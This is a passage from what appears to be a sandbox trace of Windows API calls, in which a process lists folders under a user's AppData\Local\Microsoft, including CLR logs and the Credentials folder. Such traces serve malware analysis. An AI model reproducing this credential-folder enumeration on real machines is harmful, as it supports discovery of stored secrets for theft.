ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.155] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.155] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8cc2dd6b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mighost.exe.log", cAlternateFileName="MIGHOS~1.LOG")) returned 1 [0179.155] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x1fb5c0d3, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmc.exe.log", cAlternateFileName="MMCEXE~1.LOG")) returned 1 [0179.155] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0179.155] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1795b444, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xe41, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0179.156] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0179.156] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 0 [0179.156] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x33 [0179.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x33 [0179.156] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.156] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.157] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0a8278, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0179.157] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0179.157] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0179.157] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.157] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x33 [0179.157] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.157] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.158] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0a8278, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0179.158] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0179.158] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.158] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.158] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x3d [0179.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.158] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x3d [0179.158] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.160] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.160] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0179.160] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6bedbc3e, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0179.160] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.160] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.160] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x3d [0179.160] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f9d0 [0179.161] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.161] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0179.161] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6bedbc3e, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0179.161] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6bedbc3e, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 0 [0179.162] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0179.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x33 [0179.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x33 [0179.162] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.162] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.163] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0179.163] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.163] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x33 [0179.163] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.163] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.164] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0179.164] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x9e945f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x9e945f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 0 [0179.164] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.164] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x34 [0179.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.164] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x34 [0179.164] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, 